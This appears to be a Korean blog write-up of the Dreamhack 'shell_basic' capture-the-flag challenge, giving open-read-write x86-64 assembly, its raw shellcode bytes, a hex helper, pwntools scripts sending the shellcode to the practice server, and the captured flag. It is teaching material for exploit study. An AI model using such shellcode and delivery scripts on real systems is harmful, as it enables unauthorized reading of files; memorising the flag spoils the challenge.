Jastes 2022. 4. 19. 23:41

shell_basic

์—ฌ๋Ÿฌ๊ฐ€์ง€์˜ ๋ฌธ์ œํ’€์ด..?


1. skeleton_code ํ™œ์šฉ

๋งค์šฐ ์ •์„์ ์ธ ๋ฐฉ๋ฒ•์ด๊ณ  ์ปค๋ฆฌํ˜๋Ÿผ์ด ์˜๋„ํ•œ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค. ์ด์ „์— ์‚ฌ์šฉํ–ˆ๋˜ orw๋ฅผ ํ™œ์šฉํ•ด๋ณผ๊นŒ์š”?

์ด์ „ ์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ์™€ ์ ์šฉํ• ๋ ค๋˜ ์˜ˆ์‹œ์ธ๋ฐ์š” ๋ฐ‘์— ๋งํฌ๋“ค์€ ์ฐธ๊ณ  ์ž๋ฃŒใ… 

 

FreeBSD/x86 - execve /tmp/sh - 34 bytes

 

shell-storm.org

 

 

Exploit Tech: Shellcode

์ต์Šคํ”Œ๋กœ์ž‡(Exploit) ํ•ดํ‚น ๋ถ„์•ผ์—์„œ ์ƒ๋Œ€ ์‹œ์Šคํ…œ์„ ๊ณต๊ฒฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์นจํˆฌํ•˜์—ฌ ์‹œ์Šคํ…œ์„ ์•…์šฉํ•˜๋Š” ํ•ดํ‚น๊ณผ ๋งฅ๋ฝ์ด ๊ฐ™์Œ ์ฒซ ๋ฒˆ์งธ ๊ณต๊ฒฉ๊ธฐ๋ฒ•์ธ ์…ธ์ฝ”๋“œ์ด๋ฉฐ, ์ง€๊ธˆ๊นŒ์ง€ ๋ฐฐ์šด ์ง€์‹์„ ์ ๊ฒ€ํ•˜๊ณ  gdb ์‚ฌ์šฉ์—

dystopia050119.tistory.com


์ž ๊ทธ๋Ÿผ ์‹œ์ž‘ํ•ด๋ณผ๊นŒ์š” C์–ธ์–ด ํ˜•์‹์˜ ์˜์‚ฌ์ฝ”๋“œ๋กœ ๋งŒ๋“ค๋ฉด ์ด์ „์— ๋ฐฐ์šด๊ฒƒ์ฒ˜๋Ÿผ

์œ„ ์ฝ”๋“œ๋ฅผ ๋ณด์‹œ๋ฉด ๋ฐ‘์— ์ฝ”๋“œ ๋ฐ”์ดํŠธ ํฌ๊ธฐ๊ฐ€ ์™œ ์ €๋Ÿฐ์ง€ ์ดํ•ดํ•˜์…จ์ฃ ?(๊ทผ๋ฐ ์—ฌ๊ธฐ์„  ๋”ฑํžˆ.. ์ฐจ์ด๊ฐ€;;)

๋˜ํ•œ ์œ„์— read์˜ ํ•จ์ˆ˜๋กœ shellcode๋ฅผ ์นœ์ ˆํ•˜๊ฒŒ ์‹คํ–‰๊นŒ์ง€ ์‹œ์ผœ์ฃผ๋‹ˆ๊นŒ ๋„ˆ๋ฌด ์ข‹๋„ค์š”

์ฆ‰, ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•ด์•ผํ•œ๋‹ค๋Š” ๋ถ€๋ถ„์ด๊ฒ ์ฃ 

char buf[0x1000];
 
int fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL);
read(fd, buf, 0x1000);
write(1, buf, 0x1000);

์œ„์™€ ๊ฐ™์ด ํ‘œํ˜„์ด ๊ฐ€๋Šฅ ๋ฐ ๊ตฌํ˜„ํ•˜๊ณ  syscall์˜ ์…ธ ์ฝ”๋“œ ์ž‘์„ฑ ์–‘์‹์€ ๋ฐ”๋กœ ์œ„์— ๊ฒƒ์„ ๋ณด๊ณ  ์ฐธ๊ณ !

 

Exploit Tech: Shellcode

์ต์Šคํ”Œ๋กœ์ž‡(Exploit) ํ•ดํ‚น ๋ถ„์•ผ์—์„œ ์ƒ๋Œ€ ์‹œ์Šคํ…œ์„ ๊ณต๊ฒฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์นจํˆฌํ•˜์—ฌ ์‹œ์Šคํ…œ์„ ์•…์šฉํ•˜๋Š” ํ•ดํ‚น๊ณผ ๋งฅ๋ฝ์ด ๊ฐ™์Œ ์ฒซ ๋ฒˆ์งธ ๊ณต๊ฒฉ๊ธฐ๋ฒ•์ธ ์…ธ์ฝ”๋“œ์ด๋ฉฐ, ์ง€๊ธˆ๊นŒ์ง€ ๋ฐฐ์šด ์ง€์‹์„ ์ ๊ฒ€ํ•˜๊ณ  gdb ์‚ฌ์šฉ์—

dystopia050119.tistory.com

๋ฐ‘์— ์„ค๋ช… ๋ชป ์•Œ์•„๋จน๊ฒ ์œผ๋ฉด ์—ฌ๊ธฐ ๋‹ค์‹œ ๊ฐ€์„œ ๋ณด๊ฑฐ๋‚˜ ์ฐธ๊ณ ๋กœ ๋ณด๋ฉด์„œ ํ•˜์„ธ์š” ใ…Žใ…Ž

orw ์ฝ”๋“œ๋ฅผ ์–ด์…ˆ๋ธ” ํ•œ ๋ถ€๋ถ„๋„ ํ™•์ธ์„ ํ•˜์‹œ๊ณ  flag์œ„์น˜๋Š” ๋„ˆ๋ฌด ๊ธธ์–ด์„œ ๋ฆฌํ‹€์—”๋””์•ˆ์œผ๋กœ ๋ณ€๊ฒฝํ•ด ํ™•์ธํ•˜๋ฉด

hex_str = str(input('input : '))
hex_str = hex_str.encode().hex()
 
def hex_lsb(hex_str):
    try:
        hex_str_lsb = ''.join('/x'+ hex_str[i-2:i] for i in range(len(hex_str), 0, -2))
        return hex_str_lsb
    except ValueError:
        print('Convertion Error!!')
        return ''
 
print(hex_lsb(hex_str))

์œ„ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๊ธˆ๋ฐฉ ๋‚˜์™€์š”.. ์‰˜ ๋„ฃ์„๋ผ๊ณ  ๋งŒ๋“ .. ๊ทผ๋ฐ ์•ฝ๊ฐ„ ์‚ฌ์šฉํ•˜๊ธฐ ํŽธํ•˜๊ฒŒ ์ˆ˜์ •ํ•˜์‹œ๊ณ ..

0x676e6f6f6f6f6f6f6c5f73695f656d616e5f67616c662f63697361625f6c6c6568732f656d6f682f

์ด์ œ ๋Œ€์ž…ํ•ด์„œ ํ•ด์•ผํ•˜๋‚˜.. rax๋Š” 64๋น„ํŠธ๋กœ์จ ์œ„์˜ ์ฝ”๋“œ๋Š” ๋„ˆ๋ฌด ๊ธธ๊ธฐ์— ๋‚˜๋ˆ„์–ด ์ €์žฅํ•ด์•ผํ•ด์š”

//file name : orw.c
//Complie : gcc -o orw orw.c -masm=intel
 
__asm__(
        ".global run_sh\n"
        "run_sh:\n"
 
        // int fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL);
        "xor rax, rax\n"
        "push rax\n"
        "mov rax, 0x676e6f6f6f6f6f6f\n"
        "push rax\n"
        "mov rax, 0x6c5f73695f656d61\n"
        "push rax\n"
        "mov rax, 0x6e5f67616c662f63\n"
        "push rax\n"
        "mov rax, 0x697361625f6c6c65\n"
        "push rax\n"
        "mov rax, 0x68732f656d6f682f\n"
        "push rax\n"
        "mov rdi, rsp    # rdi = '/home/shell_basic/flag_name_is_loooooong'\n"
        "xor rsi, rsi    # rsi = 0 ; RD_ONLY  ์ฝ๊ธฐ ์ „์šฉ์ด๋‹ˆ๊ฒŒ null๊ฐ’\n"
        "xor rdx, rdx    # rdx = 0 ; ๋”ฑํžˆ ์ฝ๋Š”๋ฐ ๋ชจ๋“œ๊ฐ€ ์ ์šฉ๋˜๋Š”๊ฒƒ์€ ์•„๋‹ˆ๋ฏ€๋กœ null๊ฐ’\n"
        "mov rax, 2      # rax = 2 ; syscall_open\n"
        "syscall         # open('/home/shell_basic/flag_name_is_loooooong', RD_ONLY, NULL)\n"
        "\n"
 
        // read(fd, buf, 0x1000);
        "mov rdi, rax      # rdi = fd\n"
        "mov rsi, rsp\n"
        "sub rsi, 0x1000     # rsi = rsp-0x1000 ; buf\n"
        "mov rdx, 0x1000     # rdx = 0x30     ; len\n"
        "mov rax, 0x0        # rax = 0        ; syscall_read\n"
        "syscall             # read(fd, buf, 0x1000)\n"
        "\n"
 
        //write(1, buf, 0x1000);
        "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
        "mov rax, 0x1      # rax = 1 ; syscall_write\n"
        "syscall           # write(fd, buf, 0x1000)\n"
        "\n"
);
 
void run_sh();
 
int main() { run_sh(); }

์ด์ œ OpCode๋ฅผ ํ™•์ธํ•ด์„œ ๋„ฃ์œผ๋ฉด ๋๋‚˜์ฃ  ๊ทธ๋Ÿฌ๊ธฐ์— objdump๋ผ๋Š” opcode ํ™•์ธ์„ ์‚ฌ์šฉํ•ฉ์‹œ๋‹ค.

objdump -d orw

๊ทธ๋ฆฌ๊ณ  ์šฐ๋ฆฐ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด flag๋ฅผ ์–ป์„๋ ค๊ณ  ํ•˜๋‹ˆ๊นŒ run_sh๋ฅผ ํ™•์ธํ•ด์•ผ์ฃ 

์ด๊ฑธ ๋‹ค ์ถ”์ถœํ•ด์„œ ํ•˜๋ฉด.. ํ•˜.. ํ•˜์‹œ๋ฉด

\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x81\xee\x00\x10\x00\x00\x48\xc7\xc2\x00\x10\x00\x00\x48\x31\xc0\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05

์œ„์™€ ๊ฐ™์ด ๋‚˜์˜ค์ฃ  ์ด๊ฑด.. ์ „ ์•„์ง๊นŒ์ง„ ๊ธฐ์ˆ ์ด ์—†์–ด์„œ์ธ์ง€? ๋ชฐ๋ผ๋„ ๋…ธ๊ฐ€๋‹ค ํ–ˆ๋Š”๋ฐ

์ผ๋‹จ ์ € ํ–‰์œ„๋Š” ์†”์งํžˆ ์‹œ๊ฐ„ ๋‚ญ๋น„๊ฐ™์•„์„œ ์ €๊ฑด ์ฝ”๋“œ ๋ณต์‚ฌํ•ด์„œ ํ•˜์„ธ์š”

๊ทผ๋ฐ ์ € ๋ฐฉ๋ฒ•์œผ๋ก  ์•ˆ ๋œจ๋„ค์š”;; ๊ทธ๋‹ˆ๊นŒ pwntools๋ฅผ ์‚ฌ์šฉํ•ด์•ผ๊ธด ํ•˜๋„ค์š”

from pwn import *
 
r = remote("host1.dreamhack.games", 18660)
 
# ์ด๋ ‡๊ฒŒ ํ™•์ธ์„ ํ•ด๋ด์•ผ๊ฒ ์ฃ  ๋‹ค ๋‚˜์˜ฌ ๊ฑฐ๋‹ˆ๊นŒ..
context.log_level = 'debug'
context.arch = 'amd64'
 
shellcode = "\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x81\xee\x00\x10\x00\x00\x48\xc7\xc2\x00\x10\x00\x00\x48\x31\xc0\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05"
 
r.recvuntil('shellcode:')
r.sendline(shellcode)
r.interactive()

๋ฐ‘์—๋Š” ์ €๋ ‡๊ฒŒ hexdump์ฒ˜๋Ÿผ ์•ˆ๋‚˜์™€์„œ ๋” ์•Œ๊ธฐ ํŽธํ•œ ํ‰์„œ๋ฌธ ํ˜•ํƒœ์˜ˆ์š”


2. pwntools ์‚ฌ์šฉ

Pwntools Code
from pwn import *
 
p = remote("host1.dreamhack.games", 12553)
 
context.arch = "amd64"
r = "/home/shell_basic/flag_name_is_loooooong"
 
shellcode = ""
shellcode += shellcraft.open(r)
shellcode += shellcraft.read("rax", "rsp", 0x100)
shellcode += shellcraft.write(1, "rsp", 0x100)
 
print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())

DH{ca562d7cf1db6c55cb11c4ec350a3c0b}

์ž.. ๊ทธ๋Ÿผ ์ด์ œ ํ•˜๋‚˜์”ฉ ์•Œ์•„๋ณผ๊นŒ์š”? ๋ฐ‘์—๋Š” pwntools ๋ช…๋ น์–ด๊ฐ€ ์ต์ˆ™ํ•˜์ง€ ์•Š๋‹ค๋ฉด..

 

Tool: pwntools

pwntools์˜ ๊ฐ„๋‹จ ์„ค๋ช… ํƒ„์ƒ ๋ฐฐ๊ฒฝ๊ณผ ์„ค์น˜ ๋ฐฉ๋ฒ• ์ง€๋‚œ ์‹œ๊ฐ„์— ํŒŒ์ด์ฌ๊ณผ ํŒŒ์ดํ”„(|)๋ฅผ ํ†ตํ•ด ๊ฐ„๋‹จํ•œ ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ต์Šคํ”Œ๋กœ์ž‡์„ ํ–ˆ์ฃ  ํŒŒ์ด์ฌ์œผ๋กœ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒ์„ฑํ•˜๊ณ , ํŒŒ์ดํ”„๋ฅผ ํ†ตํ•ด ์ด๋ฅผ ํ”„๋กœ๊ทธ๋žจ

dystopia050119.tistory.com

๋จผ์ € flag์˜ ์œ„์น˜๊ฐ€ ๋ช…์‹œ๋˜์–ด ์žˆ์œผ๋ฉฐ, ๊ทธ ๋ถ€๋ถ„์„ ์ฝ์œผ๋ฉด ๋˜๊ธฐ์—.. ๊ทธ ๋ถ€๋ถ„์„ ๊ธฐ์–ตํ•ฉ์‹œ๋‹ค.

๊ทธ ํ›„์— ์›๊ฒฉ ์ ‘์† ํ›„ ์šฐ๋ฆฌ๋Š” shellcraft๋ฅผ ์‚ฌ์šฉํ•  ๊ฑฐ์˜ˆ์š” ๊ทธ๋‹ˆ๊นŒ ์•„ํ‚คํ…์ฒ˜๋„ ์ง€์ •ํ•ด์•ผ๊ฒ ์ฃ 

์–ด๋Š ์ •๋„ ์ง€์ •์ด ๋˜์—ˆ๋‹ค๋ฉด ์ด์ œ ์‰˜์ฝ”๋“œ๋ฅผ ๊ธฐ์ž…ํ•ด๋ณผ๊นŒ์š”? ์ฐธ๊ณ ๋กœ ๋ฐ‘์— ๋‚ด์šฉ๋ณด๊ณ  ์ฐธ์กฐํ–ˆ์–ด์š” ใ…Ž

 

pwnlib.shellcraft.amd64 — Shellcode for AMD64 — pwntools 4.7.0 documentation

Parameters: key (int,str) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register. address (int) – Address of the data (e.g. 0xdead0000, ‘esp’) count (int) – Nu

docs.pwntools.com

 

Chromium OS Docs - Linux System Call Table

Linux System Call Table These are the system call numbers (NR) and their corresponding symbolic names. These vary significantly across architectures/ABIs, both in mappings and in actual name. This is a quick reference for people debugging things (e.g. secc

chromium.googlesource.com

์œ„์™€ ๊ฐ™์ด ๋„ฃ์–ด์ฃผ๋ฉฐ, ๊ทธ ์ด์œ ๋Š”

01

์ฒซ ๋ฒˆ์งธ๋Š” x64 ์•„ํ‚คํ…์ฒ˜์˜ ๋ช…๋ น์–ด ๊ธฐ์ž… ๋ฐฉ์‹์œผ๋กœ์จ, ์œ„ ๋ฐฉ์‹์„ ์ฐธ๊ณ ํ•˜์—ฌ

๋‘ ๋ฒˆ์งธ์ธ shellcraft์˜ ํ˜•์‹๋Œ€๋กœ ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. ์œ„์น˜๋Š” ์žˆ๊ธฐ์— ๋ฐ”๋กœ ์—ด๊ณ  read์˜ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ ์‹œ rax์— ์ €์žฅ๋œ ์ •๋ณด๋ฅผ ํ†ตํ•ด syscall์„ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— rax๋กœ ํ•ด๋„ ์ƒ๊ด€ ์—†๊ฒ ์ฃ ? ๋˜ํ•œ arg1์— ๋ฒ„ํผ์˜ ํฌ๊ธฐ๊ฐ€ ์žˆ์–ด์•ผํ•˜๋ฏ€๋กœ rsp์Šคํƒ ์‹œ์ž‘ ์ฃผ์†Œ๋ฅผ ๋„ฃ์–ด์ค๋‹ˆ๋‹ค. ๋งˆ์ง€๋ง‰์œผ๋กœ๋Š” ์–ด๋””๊นŒ์ง€ ๋ฐ›๋ƒ ์ธ๋ฐ ๋”ฑํžˆ ์ƒ๊ด€ ์—†์„ ๊ฑฐ ๊ฐ™๋„ค์š”

open('/home/shell_basic/flag_name_is_looooooong')
read(rax, buf, 0x50)
write(1, buf, 0x50)

print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())

์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ๋˜๊ฒ ์ฃ  ๋ฌธ์ œ๋ฅผ ๋‹ค์šด๋กœ๋“œ ๋ฐ›๊ณ  C ํŒŒ์ผ์„ ์—ด๊ณ  ํ™•์ธํ•˜์‹œ๋ฉด ์•„์‹œ๊ฒ ์ง€๋งŒ..

๋ฌธ์ œ์—์„œ๋Š” seccomp ํ•„ํ„ฐ๋กœ execve, execveat ์„ ์‹คํ–‰ํ•˜์ง€ ๋ชปํ•˜๋„๋ก ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— system() ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์—†๋‹ค๋Š” ๊ฒƒ๊นŒ์ง€ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋” ์„ธ๋ฐ€ํ•˜๊ณ  ์ž์„ธํ•œ ์ฝ”๋“œ ๋ถ„์„์€.. ๊ฐ์ž ํ•ฉ์‹œ๋‹ค ใ…Žใ…Ž


์ฐธ๊ณ  ์ž๋ฃŒ

 

shell_basic

Description ์ž…๋ ฅํ•œ ์…ธ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์ž…๋‹ˆ๋‹ค. main ํ•จ์ˆ˜๊ฐ€ ์•„๋‹Œ ๋‹ค๋ฅธ ํ•จ์ˆ˜๋“ค์€ execve, execveat ์‹œ์Šคํ…œ ์ฝœ์„ ์‚ฌ์šฉํ•˜์ง€ ๋ชปํ•˜๋„๋ก ํ•˜๋ฉฐ, ํ’€์ด์™€ ๊ด€๋ จ์ด ์—†๋Š” ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค. flag ์œ„์น˜์™€ ์ด๋ฆ„์€ /home/

dreamhack.io

๋”๋ณด๊ธฐ

 

 

Chromium OS Docs - Linux System Call Table

Linux System Call Table These are the system call numbers (NR) and their corresponding symbolic names. These vary significantly across architectures/ABIs, both in mappings and in actual name. This is a quick reference for people debugging things (e.g. secc

chromium.googlesource.com

 

pwnlib.shellcraft.amd64 — Shellcode for AMD64 — pwntools 4.7.0 documentation

Parameters: key (int,str) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register. address (int) – Address of the data (e.g. 0xdead0000, ‘esp’) count (int) – Nu

docs.pwntools.com

 

[Hack #10] objdump - (2) ์˜ค๋ธŒ์ ํŠธ ํŒŒ์ผ ์—ญ์–ด์…ˆ๋ธ”

[ objdump๋ฅผ ์ด์šฉํ•œ ์˜ค๋ธŒ์ ํŠธ ํŒŒ์ผ ์—ญ์–ด์…ˆ๋ธ” ] โ™ง ์—ญ์–ด์…ˆ๋ธ” ๊ด€๋ จ ์˜ต์…˜ ์˜ต์…˜ [ ๊ธด ์˜ต์…˜ ] ์„ค๋ช… -d | --disassemble ์˜ค๋ธŒ์ ํŠธ ํŒŒ์ผ์„ ๊ธฐ๊ณ„์–ด๋กœ ์—ญ์–ด์…ˆ๋ธ” (์‹คํ–‰ ์ฝ”๋“œ๊ฐ€ ์žˆ๋Š” ์„น์…˜) -D | --disassemble-all ๋ชจ๋“  ์„น์…˜.

devanix.tistory.com

 

FreeBSD/x86 - execve /tmp/sh - 34 bytes

 

shell-storm.org

 

์–ด์…ˆ๋ธ”๋ฆฌ์–ด์—์„œ ์…€์ฝ”๋“œ(OpCode)๋กœ ๋ณ€ํ™˜ ํ›„ ์ œ์ถœ์€ ์–ด๋–ป๊ฒŒ ํ•˜๋‚˜์š”?

๋ฐ‘์— ๋‹ค๋ฅธ ๊ฒŒ์‹œ๊ธ€๋„ ๋ณด๊ณ  ์–ด์…ˆ์—์„œ OpCode๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๋ฐฉ๋ฒ• ์ฐพ์•„์„œ ํ…Œ์ŠคํŠธ ์‚ผ์•„ Hello world!!!\n๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ์…€์ฝ”๋“œ๋ฅผ ์ „์†กํ•˜์˜€๋Š”๋ฐ ์•„๋ฌด ๋ฐ˜์‘์ด ์—†์Šต๋‹ˆ๋‹ค. ์•„๋ž˜๋Š” ์‰˜…

dreamhack.io

 

 

shell_basic ๋ฌธ์ œ์—์„œ opcode ๋ฅผ ๋ฐ›์•˜์œผ๋‚˜ ๊ทธ๋‹ค์Œ ์–ด๋–ป๊ฒŒ ํ•ด์•ผํ• ์ง€ ๋ชจ๋ฅด๊ฒŸ์Šต๋‹ˆ๋‹ค.

!2022-01-28 (13).png.png") opcode ๊ฐ€ ์ถœ๋ ฅ์€ ๋˜์—ˆ์œผ๋‚˜ ๊ทธ๋‹ค์Œ์— pwntools ๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ณด๋ƒˆ๋Š”๋ฐ๋„ ์•ˆ๋ฉ๋‹ˆ๋‹ค ์ œ๊ฐ€ ํ˜น์‹œ ํŒŒ์ด์ฌ ์ฝ”๋“œ๋ฅผ ์ž˜๋ชป ์ž…๋ ฅํ–ˆ๋‚˜์š”…

dreamhack.io

 

์ฐธ๊ณ  ์ด๋ฏธ์ง€

 

shell_basic

Description ์ž…๋ ฅํ•œ ์…ธ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์ž…๋‹ˆ๋‹ค. main ํ•จ์ˆ˜๊ฐ€ ์•„๋‹Œ ๋‹ค๋ฅธ ํ•จ์ˆ˜๋“ค์€ execve, execveat ์‹œ์Šคํ…œ ์ฝœ์„ ์‚ฌ์šฉํ•˜์ง€ ๋ชปํ•˜๋„๋ก ํ•˜๋ฉฐ, ํ’€์ด์™€ ๊ด€๋ จ์ด ์—†๋Š” ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค. flag ์œ„์น˜์™€ ์ด๋ฆ„์€ /home/

dreamhack.io